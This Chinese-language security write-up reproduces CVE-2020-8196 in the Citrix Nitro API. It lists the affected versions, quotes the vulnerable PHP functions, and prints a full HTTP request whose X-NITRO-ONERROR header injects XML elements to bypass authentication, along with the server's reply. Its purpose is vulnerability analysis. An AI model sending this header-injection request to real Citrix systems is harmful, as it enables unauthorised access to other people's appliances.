menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-8196)Citrix Nitro API 未授权访问漏洞 chevron_right (CVE-2020-8196)Citrix Nitro API 未授权访问漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-8196)Citrix Nitro API 未授权访问漏洞.md
    6.61 KB / 2021-07-15 19:49:29
        (CVE-2020-8196)Citrix Nitro API 未授权访问漏洞
    ================================================
    
    一、漏洞简介
    ------------
    
    Citrix ADC和Citrix NetScaler
    Gateway存在一个信息泄露漏洞,该漏洞允许经过身份验证的远程恶意用户获取主机上的敏感信息。通过发送特制请求,攻击者可以利用此漏洞获取敏感信息,然后使用此信息对受影响的系统发起进一步的攻击。
    
    二、漏洞影响
    ------------
    
    Citrix ADC and Citrix Gateway: \< 13.0-58.30
    
    Citrix ADC and NetScaler Gateway: \< 12.1-57.18
    
    Citrix ADC and NetScaler Gateway: \< 12.0-63.21
    
    Citrix ADC and NetScaler Gateway: \< 11.1-64.14 
    
    NetScaler ADC and NetScaler Gateway: \< 10.5-70.18
    
    Citrix SD-WAN WANOP: \< 11.1.1a
    
    Citrix SD-WAN WANOP: \< 11.0.3d
    
    Citrix SD-WAN WANOP: \< 10.2.7
    
    Citrix Gateway Plug-in for Linux: \<  1.0.0.137
    
    三、复现过程
    ------------
    
    Nitro API 可以给用户使用,还可以给其他Citrix组件使用
    
    举例,当我们发送
    
        <?xml version="1.0"?>
        <server></server>
    
    则会返回
    
        <?xml version="1.0"?>
        <nitroResponse><errorcode>0</errorcode><message>Done</message><severity>NONE</severity></nitroResponse>
    
    并且可以在未登陆的使情况进行命令请求
    
        <?xml version="1.0"?>
        <nitroResponse><errorcode>354</errorcode><message>Invalid username or password</message><severity>ERROR</severity></nitroResponse>
    
    在这里会返回一个错误代码,该代码`0`表示一切正常,`>0`表示失败。API会检查几个HTTP标头,并将它们的值用于事物。其中之一是`X-NITRO-ONERROR`函数中的标头`get_params()`。
    
        // Setting the header X-NITRO-ONERROR for bulk request
        $nitro_error = $this->get_headervalue($headers, "X-NITRO-ONERROR");
        if (isset($nitro_error))
            $onerror = $this->get_headervalue($headers, "X-NITRO-ONERROR");
    
        $saveconfig = $this->get_headervalue($headers, "X-NITRO-SAVECONFIG");
        $enablefeature = $this->get_headervalue($headers, "X-NITRO-ENABLEFEATURE");
    
        // Constructing the params.
        $params = $this->validate_and_post_json_request_params($action, $format, $onerror, $override, $warning, $idempotent, $saveconfig, $enablefeature);
        return $params;
    
    在`validate_and_post_json_request_params()`函数中,我们的控制值`into $onerror`被添加`$json_request_params`并返回为`$params`:
    
        // Validating and constructing params in nitro payload.
        private function validate_and_post_json_request_params($action, $format, $onerror, $override, $warning, $idempotent, $saveconfig, $enablefeature)
        {
            [..]
    
            if(isset($onerror))
                $json_request_params["onerror"] = $onerror;
    
            $json_request_params["httpheaders"] = "yes";
    
            return $json_request_params;
        }
    
    `$params`然后将变量传递给`get_payload()`函数:
    
        if (($post_body = $this->get_payload($content, $entity_type, $params, null)) === false)
            return $post_body;
    
    此函数创建"Nitro有效载荷"并返回它,以便可以在内部API调用中使用。该函数`X-NITRO-ONERROR`在返回之前直接将几个参数的值(包括标头)直接粘贴到XML有效负载中:
    
         // Constructing the nitro payload.
        private function get_payload($content, $entity_type, $params, $objectname) {
    
            $error = false;
            $request = array();
            $entity_list = $entity_type . "_list";
            if (preg_match("/^</", $content)) {
            libxml_disable_entity_loader(true);
                $req = simplexml_load_string($content);
            libxml_disable_entity_loader(false);
                if ($req == null) {
                    header("HTTP/1.1 400 Bad Request");
                    $this->print_error_message("Invalid Xml Input");
                    return false;
                }
    
                if (isset($objectname)) {
                    if (strcmp($req->getName(), $objectname) != 0) {
                        header("HTTP/1.1 400 Bad Request");
                        $this->print_error_message("Invalid Xml Payload. Mismatch between content-type and payload");
                        return false;
                    }
                }
    
            $xml = "<nitroRequest>\n" . "" . $content . "" .  $this->arrayToXMLString($params,"params") . "</nitroRequest>";
            return $xml;
        }
    
    这意味着我们可以控制此XML文档中放置的元素。这个XML是通过几个函数返回的,最终以一个称为的变量结束,该变量`$post_body`作为该函数的参数给出`nsrest_exec()`。该函数调用的输出发送到该`send_reponse()`函数:
    
        $response = nsrest_exec($is_gui, $this->request_method, $post_body, $this->username, $this->password, $this->get_client_ip(), $_SERVER["SERVER_ADDR"], $partid);
            if($this->is_direct_invocation)
                return $response["response"];
            $this->send_response($response, $this->request_method, $this->validate_and_get_entity_type($arg_list), $is_gui);
    
    该`nsrest_exec()`函数是Citrix随附的自定义PHP函数,位于一个名为的库文件中`libphp7.so`。该函数或者在成功执行时返回XML对象,或者在执行FALSE失败时返回XML对象。沿线的某个地方FALSE变成,NULL然后NULL变成0。我不知道确切的内部工作原理,`nsrest_exec`但总而言之:无效的`XML X-NITRO-ONERROR`表示一切正常的响应。
    
    例如,此请求包含无效的XML:
    
        POST /nitro/v1/config/server HTTP/1.1
        Host: www.0-sec.org
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: application/xml
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Referer: https://citrix.local/menu/neo
        Content-Type: application/xml
        If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
        DNT: 1
        Connection: close
        Content-Length: 17
        X-NITRO-ONERROR: exit</onerror><idempotent>yes</idempotent><format>xml</format><rawdata>yes</rawdata></params><server></server><params><onerror
    
        <server></server>
    
    返回值
    
        HTTP/1.1 201 Created
        Date: Tue, 28 Jan 2020 10:52:07 GMT
        Server: Apache
        X-Frame-Options: SAMEORIGIN
        Set-Cookie: SESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
        Expires: Thu, 19 Nov 1981 08:52:00 GMT
        Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
        Pragma: no-cache
        X-XSS-Protection: 1; mode=block
        Content-Length: 126
        Connection: close
        Content-Type: application/xml; charset=utf-8
    
        <?xml version="1.0"?>
        <nitroResponse><errorcode>0</errorcode><message>Done</message><severity>NONE</severity></nitroResponse>**
    
    如上所示一切正常,并且身份验证已通过。实际上什么也没有发生,但是使用错误代码就可以来验证API调用是否成功
    
    
    links
    file_download